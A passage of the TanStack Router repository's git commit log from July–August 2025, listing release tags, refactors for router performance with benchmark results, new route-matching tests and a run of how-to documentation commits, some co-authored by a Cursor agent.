`validResolvedMatches.forEach`). And the removal of 2 `updateMatch`
calls in `packages/react-router/src/Match.tsx` (and solid-router too).

The `ssr` property was also updated to not be reactive, but kept outside
of `_nonReactive` because it is part of the public API. This removes
another call to `updateMatch`. This key is an exception, and if in the
future we find a need to have more "public but non-reactive" properties,
we could consider
- hiding internal props in a separate type, or
- adding a dev proxy to ensure non-reactive props aren't accessed inside
`select` functions

---

This PR adds a unit-test in `react-router` that counts how many times
the `select` inside a `useRouterState` hook is called during a
navigation. Without this PR, the result of this test is **26 calls**.
With this PR, we're down to **19 calls**.

---

Should be a partial improvement of
https://github.com/TanStack/router/issues/4359

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-11 13:59:36 +02:00
Abdullah Al-taheri
fe43f1bf53
docs: Update static-prerendering.md (#4903)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-11 01:53:44 +02:00
Tanner Linsley
cf99c6a3f4 release: v1.131.3 2025-08-10 21:40:01 +00:00
Flo
fd341ad200
refactor(router-core): strip internal types from public build (#4907)
This PR proposes we use the `@internal` JSDoc tag, and `--stripInternal`
typescript compiler option to remove internal keys from the public
`.d.ts` files.

Docs for `stripInternal`:
https://www.typescriptlang.org/tsconfig/#stripInternal

This helps ensuring internal values aren't considered as part of the
*public API surface* by users, allowing us more flexibility in
refactoring.

> [!WARNING]
> This PR proposes we add `stripInternal` to the entire repo, not just
`router-core`. However there are already some values marked as internal
that weren't added by this PR:
> - `InferStructuralSharing` in `react-router`
> - `handleHashScroll` in `router-core > scrollRestoration`
> - many `InferFoo` types in `router-core > typePrimitives`
>
> as a result of this, we might have to switch some of those `@internal`
tags to something else (like `@private` maybe?) because they are, in
fact, necessary for the build to be correct.

Example:
```ts
export type Foo = {
  a: number,
  /** @internal */
  b: number,
}

/** @internal */
export function hello() {
  return 'world'
}

export const answer = 42
```
gets compiled as `.d.ts` to
```ts
export type Foo = {
  a: number
}
export const answer = 42
```

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-10 23:38:37 +02:00
Adam Rackis
3023706938
Update getting-started.md (#4909)
Add TanStack Start CLI option
2025-08-10 09:14:53 -07:00
Tanner Linsley
ef74fc661b release: v1.131.2 2025-08-08 23:39:20 +00:00
Manuel Schiller
d063dd6707
fix: RELEASE_ALL (#4896) 2025-08-09 01:35:02 +02:00
Tanner Linsley
7bb4673046 release: v1.131.1 2025-08-08 23:31:50 +00:00
Manuel Schiller
36f3253dc1
fix: publish package (#4895) 2025-08-09 01:30:26 +02:00
Lee
238c63f36d
docs(router): update links in how-to guides (#4878) 2025-08-09 00:46:51 +02:00
Tanner Linsley
c94fa35de1 release: v1.131.0 2025-08-08 21:53:49 +00:00
Manuel Schiller
90adfe919e
feat: restructure query-integration (#4643)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-08 23:52:29 +02:00
Tanner Linsley
cc499c3b92 release: v1.130.17 2025-08-08 21:37:57 +00:00
Tanner Linsley
e75531647a
fix: do not pre-decodeURI before passing to createMemoryHistory (#4893)
fixes #4514
2025-08-08 15:36:37 -06:00
Abdulhamit Akaslan
0a3bb242af
chore(examples): remove unnecessary opts.deps (#4879) 2025-08-08 16:08:08 +12:00
Tanner Linsley
bb5206ada4 release: v1.130.16 2025-08-07 21:38:28 +00:00
Ali Idrizi
2cfadef90d
fix(router-generator): use the tmpDir when genearting a temporary filename (#4882) 2025-08-07 23:32:57 +02:00
Diogo Lessa
8efac91d6d
docs(router): fix typo in overview.md (#4863) 2025-08-03 20:37:07 +02:00
Zack
2ca59db492
examples: removes Tailwind from start-bare example (#4809)
The `start-bare` example includes Tailwind with a broken config (missing
`tailwindcss()` in vite.config.ts plugins), which contradicts the 'bare'
concept. Since `start-tailwind-v4` already provides a properly
configured Tailwind example, this PR removes Tailwind from `start-bare`
to make it actually bare.
2025-08-02 14:40:12 +02:00
Kilian Finger
57bac254f2
examples: @mui/material example re-add ssr.noExternal to vite config (#4861)
Fixes #4857
2025-08-02 11:44:38 +02:00
Tanner Linsley
2b20bfb6ca release: v1.130.15 2025-08-02 05:33:26 +00:00
Manuel Schiller
85cba5526d
fix: do not create temp subdirectories for router generator (#4860) 2025-08-02 07:28:09 +02:00
Tanner Linsley
34014c6203 release: v1.130.14 2025-08-02 05:04:00 +00:00
Manuel Schiller
6e191fdd83
fix: account for exports being a string (#4859)
fixes #4858
2025-08-02 07:00:05 +02:00
Adam Bouqdib
75615f3994
docs(start): fix cloudflare-workers deployment using wrangler.toml (#4779) 2025-08-02 13:07:49 +12:00
Tanner Linsley
e8599c6c66 release: v1.130.13 2025-08-02 00:59:53 +00:00
JamesHyot
12732fed48
refactor(router-devtools-core): allow styling of TanStackRouterDevtoolsPanel (#4671) 2025-08-02 12:54:14 +12:00
Tanner Linsley
cd1de7edb7 release: v1.130.12 2025-08-01 20:38:24 +00:00
Manuel Schiller
db2b2c4bfc
fix: do not add ESM deps to optimizeDeps without a '.' export (#4855) 2025-08-01 22:30:15 +02:00
Manuel Schiller
4e2605a26d
chore: bump typescript version (#4853) 2025-08-01 22:30:02 +02:00
Tanner Linsley
eb4d982605 release: v1.130.11 2025-08-01 17:37:00 +00:00
Flo
c1f6dfe0ac
fix(router-core): processRouteTree orders routes w/ prefix / suffix based on their lengths (#4850)
When ordering routes to determine "which one will match in priority", we
try to follow the "more specific 1st" principle.

Currently, 2 routes with the same pattern, but with prefixes of
different lengths, are counted as having the same specificity, and thus
are not re-ordered. For example:
- `/f{$param}`
- `/foo{$param}`

In this case, assuming `f{$param}.tsx` is returned 1st by the OS when
listing route files (which it is by alphabetical order), a path
`/foobar` will match `/f{$param}`.

This PR proposes we take the `length` of the `prefix` and `suffix` into
account when sorting routes. In this example this would mean
`/foo{$param}` takes priority because it is considered more specific.
2025-08-01 19:30:52 +02:00
Tanner Linsley
9061654052 release: v1.130.10 2025-08-01 08:18:41 +00:00
Chris
7c6b5752ea
refactor(router-core,start-server-core): improve JSDocs for redirect (#4848)
Co-authored-by: Christopher Menendez <chris@Christophers-MacBook-Pro.local>
2025-08-01 20:13:06 +12:00
Chris
d5fd30f98a
docs(router): update URL for Query (#4849)
Co-authored-by: Christopher Menendez <chris@Christophers-MacBook-Pro.local>
2025-08-01 20:12:50 +12:00
Nico Lynzaad
cb0478a2a8
docs(router): usage of "." and ".." for relative navigation (#4846) 2025-08-01 20:12:42 +12:00
Lee
3ca2a293b2
docs(router): usage of routeFilePrefix for file-based routing (#4845) 2025-08-01 20:12:30 +12:00
Dimitris Karagiannis
f3a594794a
docs(router): list preload as navigation cause value (#4825) 2025-08-01 20:12:21 +12:00
Matthew Hart
87d4ccb67c
docs(start): incorrect usage of scripts in the "document head management" guide (#4801) 2025-08-01 19:58:10 +12:00
Tanner Linsley
91e404b1e2 release: v1.130.9 2025-07-30 22:02:09 +00:00
Manuel Schiller
ce9e37366a
fix: correctly match routes with optional path params followed by req… (#4838)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-31 00:00:49 +02:00
autofix-ci[bot]
14ad18f3db
ci: apply automated fixes 2025-07-30 17:10:04 +00:00
Tanner Linsley
bf12ba8e3e
docs: search param sharing/inheritance how-to
Add 'Share Search Parameters Across Routes' how-to guide to complete the
next step in the Progressive Search Params Series.

---
<a
href="https://cursor.com/background-agent?bcId=bc-b62364d8-aa89-47bd-a3f5-d8724879c0ca">
  <picture>
<source media="(prefers-color-scheme: dark)"
srcset="https://cursor.com/open-in-cursor-dark.svg">
<source media="(prefers-color-scheme: light)"
srcset="https://cursor.com/open-in-cursor-light.svg">
<img alt="Open in Cursor" src="https://cursor.com/open-in-cursor.svg">
  </picture>
</a>
<a
href="https://cursor.com/agents?id=bc-b62364d8-aa89-47bd-a3f5-d8724879c0ca">
  <picture>
<source media="(prefers-color-scheme: dark)"
srcset="https://cursor.com/open-in-web-dark.svg">
<source media="(prefers-color-scheme: light)"
srcset="https://cursor.com/open-in-web-light.svg">
    <img alt="Open in Web" src="https://cursor.com/open-in-web.svg">
  </picture>
</a>

<sub>[Learn
more](https://docs.cursor.com/background-agent/web-and-mobile) about
Cursor Agents</sub>

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-07-30 11:09:18 -06:00
Sean Cassiere
7f290adb41
docs: add frontmatter to the "how-to" guides (#4835) 2025-07-30 20:04:05 +12:00
Lee
127944f042
docs: update links authentication setup guides (#4834) 2025-07-30 19:52:53 +12:00
Tanner Linsley
d6a3881ef4 release: v1.130.8 2025-07-29 20:56:53 +00:00
Flo
2e40d0142f
refactor(router-core): router clearExpiredCache variable naming mistake (#4831)
Just correcting a variable naming mistake I made in
https://github.com/TanStack/router/pull/4826 because I confused
`staleTime` and `gcTime`.
2025-07-29 22:51:11 +02:00
Tanner Linsley
4bb5674f51 release: v1.130.7 2025-07-29 20:47:26 +00:00
Flo
dafad2a330
refactor(router-core): router uses .some() over .find() for boolean results (#4829)
This change is a no-op, even in terms of performance. But it's more of
an "anti-slippery-slope" measure, so we don't end up with array copying
methods like `.map` or `.filter` being used instead of simpler methods
like `.find` or `.some`
2025-07-29 22:41:48 +02:00
Tanner Linsley
106e03022b release: v1.130.6 2025-07-29 20:37:49 +00:00
Flo
030a55fdcc
refactor(router-core): router updateMatch can skip matches if it found a match (#4828)
`updateMatch` can trigger some heavy synchronous work (it updates the
store, which in turn, will re-run a bunch of things), so it's nice if
itself can avoid doing unnecessary work.

- it doesn't need to return anything, the return value is not used
- it doesn't need to search through the 3 arrays of matches if it found
a result in the 1st or 2nd.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-29 22:31:43 +02:00
Tanner Linsley
40e4657efa release: v1.130.5 2025-07-29 20:25:53 +00:00
Flo
2df9dd0f4a
refactor(router-core): router clearExpiredCache DeMorgan's simplification (#4826)
Use De Morgan's contrapositive to cleanup the return condition of the
`clearExpiredCache` filter function. This should be a no-op and is
mathematically equivalent to what was written before, just more readable
for future refactoring.
2025-07-29 22:18:04 +02:00
Flo
3ba972e059
refactor(router-core): router getMatch doesnt create an array (#4824)
`router` > `getMatch` doesn't need to create an array to find the match
by id. This function gets called a lot, so it's better if we can avoid
accumulating short lived objects that need garbage collection when using
it.
2025-07-29 22:17:43 +02:00
Tanner Linsley
c3edec6434 release: v1.130.4 2025-07-29 18:03:17 +00:00
autofix-ci[bot]
87a730ba5a
ci: apply automated fixes 2025-07-29 17:57:14 +00:00
Manuel Schiller
f0def505f3
fix: dev server (#4820) 2025-07-29 19:56:21 +02:00
Manuel Schiller
81da91c9ab
fix: crawl deps to find packages which have start as peer dep (#4821) 2025-07-29 19:56:10 +02:00
Tanner Linsley
b402bbc8ca
docs: isomorphic and environment aware code
Add foundational how-to guide on writing isomorphic, client-only, and
server-only code to clarify execution boundaries in TanStack Start.

---
<a
href="https://cursor.com/background-agent?bcId=bc-164a09a2-5b83-4a4a-b6ed-22e447950438">
  <picture>
<source media="(prefers-color-scheme: dark)"
srcset="https://cursor.com/open-in-cursor-dark.svg">
<source media="(prefers-color-scheme: light)"
srcset="https://cursor.com/open-in-cursor-light.svg">
<img alt="Open in Cursor" src="https://cursor.com/open-in-cursor.svg">
  </picture>
</a>
<a
href="https://cursor.com/agents?id=bc-164a09a2-5b83-4a4a-b6ed-22e447950438">
  <picture>
<source media="(prefers-color-scheme: dark)"
srcset="https://cursor.com/open-in-web-dark.svg">
<source media="(prefers-color-scheme: light)"
srcset="https://cursor.com/open-in-web-light.svg">
    <img alt="Open in Web" src="https://cursor.com/open-in-web.svg">
  </picture>
</a>

<sub>[Learn
more](https://docs.cursor.com/background-agent/web-and-mobile) about
Cursor Agents</sub>

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-07-29 11:55:46 -06:00
autofix-ci[bot]
bff3ad651d
ci: apply automated fixes 2025-07-29 00:50:17 +00:00
Tanner Linsley
c88c2aebae
docs: Outline top how-to guides for TanStack Start (#4816)
Create a detailed plan for TanStack Start how-to guides, prioritizing
based on user issues and dependencies.

This plan outlines over 20 new how-to guides, organized by logical
dependencies and explicitly addressing common pain points found in
GitHub issues, particularly around server functions and deployment.

---

[Open in
Web](https://cursor.com/agents?id=bc-58c1c95a-be49-4ad5-8bd7-80ad78fbc4e7)
• [Open in
Cursor](https://cursor.com/background-agent?bcId=bc-58c1c95a-be49-4ad5-8bd7-80ad78fbc4e7)
• [Open Docs](https://docs.cursor.com/background-agent/web-and-mobile)

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-07-28 18:49:29 -06:00
Tanner Linsley
9c5f6b2e52
docs: Continue search parameter how-tos (#4815)
Add 'Handle Complex Search Parameter Types' guide to continue the search
parameter how-to series.

---

[Open in
Web](https://cursor.com/agents?id=bc-3a8921a5-5923-498f-8d11-5573ae15a43f)
• [Open in
Cursor](https://cursor.com/background-agent?bcId=bc-3a8921a5-5923-498f-8d11-5573ae15a43f)
• [Open Docs](https://docs.cursor.com/background-agent/web-and-mobile)

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-28 18:45:00 -06:00
autofix-ci[bot]
b5a7bffea4
ci: apply automated fixes 2025-07-28 22:17:46 +00:00
Tanner Linsley
da2bd32eee
docs: Continue search param how-tos (#4814)
Add 'Validate Search Parameters with Schemas' how-to guide and update
related documentation.

---

[Open in
Web](https://cursor.com/agents?id=bc-d5e46bba-1af4-4db9-8631-541879529bf0)
• [Open in
Cursor](https://cursor.com/background-agent?bcId=bc-d5e46bba-1af4-4db9-8631-541879529bf0)
• [Open Docs](https://docs.cursor.com/background-agent/web-and-mobile)

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-07-28 16:16:59 -06:00
autofix-ci[bot]
ed49c81ac9
ci: apply automated fixes 2025-07-28 21:18:42 +00:00
Tanner Linsley
8b53a9a177
docs: basic search params how-to
Add 'Navigate with Search Parameters' how-to guide covering various
navigation methods for search parameters.

This guide details how to update and manage search parameters using both
Link components and programmatic navigation (`useNavigate`, router
instance). It covers basic and functional updates, navigation with route
changes, advanced patterns like conditional navigation and validation,
common UI patterns (search results, filters, breadcrumbs), and addresses
common problems like losing parameters or serialization issues.

---

[Open in
Web](https://cursor.com/agents?id=bc-38c6eb35-f409-43fc-ac4c-323097fb478b)
• [Open in
Cursor](https://cursor.com/background-agent?bcId=bc-38c6eb35-f409-43fc-ac4c-323097fb478b)
• [Open Docs](https://docs.cursor.com/background-agent/web-and-mobile)

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-07-28 15:17:57 -06:00
autofix-ci[bot]
4a1edf695a
ci: apply automated fixes 2025-07-28 20:20:39 +00:00
Tanner Linsley
21300374f6
docs: basic search params how-to
Adds the initial 'Set Up Basic Search Parameters' how-to guide,
recommending any standard schema-compliant validation library, and
updates documentation plans.

---

[Open in
Web](https://cursor.com/agents?id=bc-795e5be2-bf8c-4433-8e6d-72a98fb30a1d)
• [Open in
Cursor](https://cursor.com/background-agent?bcId=bc-795e5be2-bf8c-4433-8e6d-72a98fb30a1d)
• [Open Docs](https://docs.cursor.com/background-agent/web-and-mobile)

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-07-28 14:19:43 -06:00
autofix-ci[bot]
fd62699815
ci: apply automated fixes 2025-07-28 19:18:28 +00:00
Tanner Linsley
71c95e6c8f docs: updates 2025-07-28 13:17:35 -06:00
Tanner Linsley
a790f61647 release: v1.130.3 2025-07-28 16:58:19 +00:00
Manuel Schiller
d09f5daa74
fix: spa mode with prerendering (#4811)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-28 18:56:47 +02:00
David Williams
73ab338fe2
chore(root): update broken README links (#4789) 2025-07-28 20:47:06 +12:00
Tanner Linsley
0513f5ea4e release: v1.130.2 2025-07-27 22:19:46 +00:00
Manuel Schiller
c8be12cd14
fix: prerending with SPA mode enabled renders all routes (#4800) 2025-07-28 00:18:26 +02:00
autofix-ci[bot]
de11338d8c
ci: apply automated fixes 2025-07-27 17:15:24 +00:00
notKamui
a08b600b66
docs: Runtime env docs (#4797)
With discussions with @schiller-manuel and the amount of time this issue
has been brought up on Discord, I feel adding precisions and more
explicit examples on how to deal with runtime env variables on the
client could help.

---------

Co-authored-by: Tanner Linsley <tannerlinsley@gmail.com>
2025-07-27 11:14:40 -06:00
Hazem Tarek Elaswad
9374fac48f
docs: Update RouterOptionsType.md (#4796)
Change a typo in `basepath` property description.
2025-07-27 14:26:32 +02:00
Tanner Linsley
9dec9b78b1 release: v1.130.1 2025-07-26 22:38:00 +00:00
Manuel Schiller
ec8069855e
fix: scroll to top with hash history (#4795) 2025-07-27 00:36:40 +02:00
Manuel Schiller
3c6633a705
chore: silence error in test (#4794)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-26 23:05:17 +02:00
Tanner Linsley
77fa17bdc0 release: v1.130.0 2025-07-26 20:53:09 +00:00
Jaen
e83199310a
feat(react-router): add disableGlobalCatchBoundary option (#4765)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2025-07-26 22:45:20 +02:00
Alvaro Sevilla
b39b8919a1
fix: pin all workspace dependencies and devDependencies (#4771) 2025-07-26 22:45:10 +02:00
Tanner Linsley
4c36401de5 release: v1.129.9 2025-07-26 19:34:52 +00:00
Manuel Schiller
4318992ab8
chore: fix build in CI (#4790) 2025-07-26 21:28:55 +02:00
Manuel Schiller
be7a578547
fix: scroll to top if no scroll restoration entry exists (#4786) 2025-07-26 19:02:33 +02:00
Devon Govett
abad0a1e46
docs(react-router): update custom-link guide for react-aria (#4757)
As of [React Aria Components
v1.11.0](https://react-spectrum.adobe.com/releases/2025-07-22.html), we
now pass through DOM events, so it's no longer necessary to use hooks to
create a custom link component. You can just use `createLink` with the
React Aria component directly.


[Demo](https://stackblitz.com/edit/stackblitz-starters-qc66mmzn?file=src%2FLink.tsx)

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-26 17:23:40 +02:00
Lachlan Collins
a89408affd
chore: sync TanStack repo changes (#4784)
## 🎯 Changes

- Update Prettier and use experimental CLI
- Update Nx to v21
- Fix bug in test exposed by new prettier version
- Sync issues template

## ✅ Checklist

- [x] I have followed the steps listed in the [Contributing
guide](https://github.com/TanStack/config/blob/main/CONTRIBUTING.md).
- [x] I have tested and linted this code locally.
2025-07-26 21:55:38 +10:00
Tanner Linsley
4f802cf1c0
docs: env vars (#4777)
Add a detailed plan for a new 'How to Use Environment Variables' guide
because it addresses a critical and frequently asked topic that is
currently under-documented.

---

[Open in
Web](https://cursor.com/agents?id=bc-7c882ddb-7215-41c7-9ef1-32f42f212449)
• [Open in
Cursor](https://cursor.com/background-agent?bcId=bc-7c882ddb-7215-41c7-9ef1-32f42f212449)

Learn more about [Background
Agents](https://docs.cursor.com/background-agent/web-and-mobile)

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-25 16:50:39 -06:00
autofix-ci[bot]
a8ea2b838c
ci: apply automated fixes 2025-07-25 20:20:55 +00:00
Tanner Linsley
ecfe14bc1f
docs: how-to guide for file-based router testing (#4776)
Add a new how-to guide for testing TanStack Router with file-based
routing to cover specific patterns and challenges.

---

[Open in
Web](https://cursor.com/agents?id=bc-ee0f6db1-18b2-4c3b-b69c-13ea7f849190)
• [Open in
Cursor](https://cursor.com/background-agent?bcId=bc-ee0f6db1-18b2-4c3b-b69c-13ea7f849190)

Learn more about [Background
Agents](https://docs.cursor.com/background-agent/web-and-mobile)

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-07-25 14:19:51 -06:00
autofix-ci[bot]
1d34e56792
ci: apply automated fixes 2025-07-25 20:12:00 +00:00
Tanner Linsley
94ec310682
docs: more! (#4775)
Add comprehensive authentication, testing, and debugging how-to guides
to enhance documentation.

---

[Open in
Web](https://cursor.com/agents?id=bc-ea21e97d-685a-451f-9700-6955d86ef170)
• [Open in
Cursor](https://cursor.com/background-agent?bcId=bc-ea21e97d-685a-451f-9700-6955d86ef170)

Learn more about [Background
Agents](https://docs.cursor.com/background-agent/web-and-mobile)

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-07-25 14:10:52 -06:00
autofix-ci[bot]
1cd28688c7
ci: apply automated fixes (attempt 2/3) 2025-07-25 19:16:09 +00:00
autofix-ci[bot]
cb08dd6f6a
ci: apply automated fixes 2025-07-25 19:15:11 +00:00
Tanner Linsley
269625a5a7
docs: Split ui library documentation into guides (#4774)
Split the UI library integration guide into individual how-to guides for
Shadcn/ui, Material-UI, Framer Motion, and Chakra UI.

---

[Open in
Web](https://cursor.com/agents?id=bc-8573175f-c315-4c20-a848-fc2e39ef00eb)
• [Open in
Cursor](https://cursor.com/background-agent?bcId=bc-8573175f-c315-4c20-a848-fc2e39ef00eb)

Learn more about [Background
Agents](https://docs.cursor.com/background-agent/web-and-mobile)

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-07-25 13:14:06 -06:00
autofix-ci[bot]
4c18a66936
ci: apply automated fixes 2025-07-25 19:04:33 +00:00
Tanner Linsley
d7d9d4e8cc
docs: migrate from react router v6
Add a comprehensive migration guide from React Router v7 to TanStack
Router, addressing feedback to target the latest version.

The original PR #4704 aimed to provide a migration guide from React
Router v6. However, a comment from schiller-manuel questioned why v6 was
targeted instead of v7. This PR updates the scope to focus on React
Router v7, which was released in November 2024 and is the current
version, ensuring the guide is relevant for users migrating from the
latest React Router.

---

[Open in
Web](https://cursor.com/agents?id=bc-035967dd-2396-4ba3-9226-f0bfd1c21f11)
• [Open in
Cursor](https://cursor.com/background-agent?bcId=bc-035967dd-2396-4ba3-9226-f0bfd1c21f11)

Learn more about [Background
Agents](https://docs.cursor.com/background-agent/web-and-mobile)

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-07-25 13:03:25 -06:00
autofix-ci[bot]
38073cb5e9
ci: apply automated fixes 2025-07-25 18:51:55 +00:00
Tanner Linsley
2703b7fcf0
docs: how-to SSR guide
Add a comprehensive "How to Set Up Server-Side Rendering (SSR)" guide to
provide practical, step-by-step instructions and address feedback from
PR #4703.

The previous PR #4703 aimed to add an SSR setup guide but had concerns
regarding overlap with an existing conceptual SSR guide and specific
technical implementation details (e.g., streaming SSR, Vite config).
This PR addresses those concerns by creating a distinct, practical
"how-to" guide with complete code examples, troubleshooting, and a clear
recommendation for TanStack Start, while ensuring it complements the
existing theoretical guide.

---

[Open in
Web](https://cursor.com/agents?id=bc-8555f196-638f-4bec-90a4-5eac52b5918a)
• [Open in
Cursor](https://cursor.com/background-agent?bcId=bc-8555f196-638f-4bec-90a4-5eac52b5918a)

Learn more about [Background
Agents](https://docs.cursor.com/background-agent/web-and-mobile)

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-07-25 12:50:56 -06:00
Karthik Appiah
b38c42e753
docs(start): add missing dev dep to build-from-scratch guide (#4758) 2025-07-25 09:07:35 +12:00
SeanCassiere
6a89d3c048
chore(root): fix missing speakeasy logo 2025-07-24 10:17:14 +12:00
Manuel Schiller
3b9128e502
docs: slight correction in automatic code splitting 2025-07-23 20:43:30 +02:00
Lee
68fd70bf8e
docs(router): update types for RouteOptions and RouteMatch (#4754)
Closes #3811

---------

Signed-off-by: leesb971204 <leesb971204@gmail.com>
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-07-23 23:41:22 +12:00
Flo
58093828f2
test(router-core): add unit tests for matchByPath (#4749)
This PR is simply adding unit test to the existing `matchByPath`
function.

However, it does highlight some weird cases / bugs:

- this test passes OK, I'm just wondering whether that's a real case
that can happen (in which case the test is good to keep) or if it's just
accidental
  ```ts
expect(matchByPath('/', '/a/1/b/2', { to: '/a/$id/b/$id' })).toEqual({
id: '2' })
  ```

- this test passes OK, I'm just a little surprised that it includes a
`/` char, because *any other* case does not
  ```ts
expect(matchByPath('/', '/a/', { to: '/a/$' })).toEqual({ _splat: '/',
'*': '/' })
  ```

- this does NOT work, it seems like a bug with the recent optional
params
  ```ts
expect(matchByPath('/', '/a/b', { to: '/A/{-$id}/B', caseSensitive:
false })).toEqual({})
expect(matchByPath('/', '/a/b/2', { to: '/A/{-$id}/B/{-$other}',
caseSensitive: false })).toEqual({ other: '2' })
expect(matchByPath('/', '/a/b', { to: '/A/{-$id}/B/{-$other}',
caseSensitive: false })).toEqual({})
  ```

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-23 11:58:09 +02:00
Tanner Linsley
2de6dccebe release: v1.129.8 2025-07-23 09:18:33 +00:00
Flo
182df4d316
refactor(router-core): add LRU cache in front of parsePathname (#4752)
We noticed that `parsePathname` is a performance bottleneck during
navigation events. Here's a flamegraph from an application w/ ~300
routes around a navigation event:

<img width="853" height="372" alt="Screenshot 2025-07-22 at 19 36 24"
src="https://github.com/user-attachments/assets/7ed2e09a-8ea9-4170-862a-2d53c3eb4793"
/>


This PR proposes a basic least-recently-used cache implementation (that
data structure is about 4-5x slower than a `Map` according to
benchmarks, and it uses a little more memory).

We can add caching to `parsePathname` now that what it returns is
readonly (https://github.com/TanStack/router/pull/4705), which should
improve the performance of this bottleneck.

The cache is set to a size of 1000. When / if we end up making a
pre-built matcher (WIP https://github.com/TanStack/router/pull/4714), we
maybe can reduce this size. But `parsePathname` is still called w/ built
pathnames so we probably shouldn't remove the cache entirely.


When benchmarking `matchPathname` with and without the cache, we notice
a ~9x increase in throughput with the cache.
```
 ✓  @tanstack/router-core  tests/cache.bench.ts > cache.bench 7191ms
     name             hz     min     max    mean     p75     p99    p995    p999     rme  samples
   · original   1,795.61  0.5055  0.7022  0.5569  0.5604  0.6234  0.6464  0.7022  ±0.22%      898
   · cached    16,307.87  0.0562  0.2294  0.0613  0.0608  0.0767  0.1007  0.1152  ±0.17%     8154   fastest

 BENCH  Summary

   @tanstack/router-core  cached - tests/cache.bench.ts > cache.bench
    9.08x faster than original
```
Assuming this 9x increase translates to a proportional reduction of the
self-time seen in the flamegraph, it would go from 55ms to 6ms.
2025-07-23 11:16:59 +02:00
Leonardo Montini
1cd917659b
docs(router): using square brackets for character escaping (#4753) 2025-07-23 12:17:50 +12:00
Tanner Linsley
c35d414681 release: v1.129.7 2025-07-23 00:13:31 +00:00
Manuel Schiller
4f930d1b80
fix: ensure unique matchId when optional and required param are on the same level (#4751) 2025-07-22 19:02:21 +02:00
Justin Mißmahl
d87ca5ecf4
docs: fix incorrect import path in automatic code splitting guide (#4745) 2025-07-22 18:04:23 +02:00
Tanner Linsley
ad420694a3 release: v1.129.5 2025-07-22 15:38:46 +00:00
Dimitris Karagiannis
d485cc23d6
fix(router-core): type mismatch for navigate function (#4625)
According to the docs this should only return a promise
https://tanstack.com/router/latest/docs/framework/react/api/router/RouterType#navigate-method
Makes sense otherwise you cannot .then() it

---------

Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
2025-07-22 17:32:16 +02:00
Kamlesh Paul
be1b9e39b3
docs: typo in Server-Routes => Escaped Matching (#4741) 2025-07-22 17:12:30 +02:00
Tanner Linsley
95a16365ac release: v1.129.4 2025-07-22 13:53:30 +00:00
Flo
082b618cbc
refactor(router-core): improve router.comparePaths performance by not using regex (#4750)
Following up on https://github.com/TanStack/router/pull/4747
Implementation by @schiller-manuel

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-22 15:52:01 +02:00
Tanner Linsley
c82415a5cd release: v1.129.3 2025-07-22 11:17:11 +00:00
Flo
253ff7b4cf
refactor(router-core): improve router.comparePaths regexp performance (#4747)
We can improve perf of this function *that gets called a lot* by not
grouping the entire string, and only removing the trailing slash.

The entire string is returned by `.replace()`, so we don't ned the group
```
> "/foo/bar/".replace(/\/$/, '')
'/foo/bar'
```

Doing so, we get ~6x performance out of it.

```
 ✓  @tanstack/router-core  tests/other.bench.ts > comparePaths 2183ms
     name                       hz     min     max    mean     p75     p99    p995    p999     rme  samples
   · oldComparePaths  1,300,774.12  0.0006  0.8563  0.0008  0.0008  0.0010  0.0010  0.0017  ±0.35%   650388
   · newComparePaths  7,773,004.63  0.0000  0.2112  0.0001  0.0001  0.0002  0.0002  0.0004  ±0.14%  3886503   fastest

 BENCH  Summary

   @tanstack/router-core  newComparePaths - tests/other.bench.ts > comparePaths
    5.98x faster than oldComparePaths
```
2025-07-22 13:15:42 +02:00
Lee
dae8833a46
docs(router): update Router.matchRoutes arguments (#4739) 2025-07-22 12:16:52 +12:00
Nico Lynzaad
f0a60cbb71
test(e2e): use locally hosted api over an external provider (#4725)
A lot of our e2e tests are querying external endpoints like
[typicode.com](https://jsonplaceholder.typicode.com) or
[example.com](https://example.com)

This is not ideal as it makes the e2e tests beholden to external factors
for example unavailability or rate limiting of these endpoints.

This PR addresses this by starting and stopping a local dummy server for
each test that needs to query external endpoints and mocks the results.
The setup and teardown have been implemented on each test package
individually so as to allow custom requirements where needed.

---------

Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-07-22 00:15:28 +02:00
Tanner Linsley
4f1eed4390 release: v1.129.2 2025-07-21 21:59:24 +00:00
Lee
af673b84e4
